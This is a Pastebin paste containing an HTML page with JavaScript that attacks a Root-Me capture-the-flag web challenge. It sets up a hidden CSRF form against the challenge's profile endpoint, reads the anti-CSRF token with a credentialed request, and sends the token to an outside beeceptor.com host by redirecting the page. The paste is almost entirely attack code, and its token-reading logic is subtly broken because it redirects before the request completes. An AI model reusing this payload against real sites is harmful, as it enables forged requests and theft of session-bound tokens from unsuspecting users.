Advertisement
Guest User

asdasd

a guest
Nov 14th, 2018
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.06 KB | None | 0 0
  1. <html><body><div>albsjdbasd</div>
  2. <iframe style="display:none" name="csrf-frame"></iframe>
  3. <form method='POST' action='http://challenge01.root-me.org/web-client/ch23/?action=profile' target="csrf-frame" id="csrf-form" enctype="multipart/form-data">
  4. <input type='hidden' name='username' value='asd'>
  5. <input type='hidden' name='status' value='on'>
  6. <input type='hidden' id='token2' name='token' value='blablabla' >
  7. <input type='submit' value='submit'>
  8. </form>
  9. <script>
  10. function getTokenJS() {
  11. var xhr = new XMLHttpRequest();
  12. var input = '';
  13. xhr.withCredentials = true;
  14. xhr.responseType = "document";
  15. xhr.open("GET", 'http://challenge01.root-me.org/web-client/ch23/index.php?action=profile', true);
  16. xhr.onload = function (e) {
  17. if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
  18. page = xhr.response
  19. input = page.getElementById("token");
  20. }
  21. };
  22. document.location='http://tutututu.free.beeceptor.com/?c='+input.value;
  23. xhr.send(null);
  24. }
  25. getTokenJS();
  26.  
  27. </script>
  28.  
  29. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement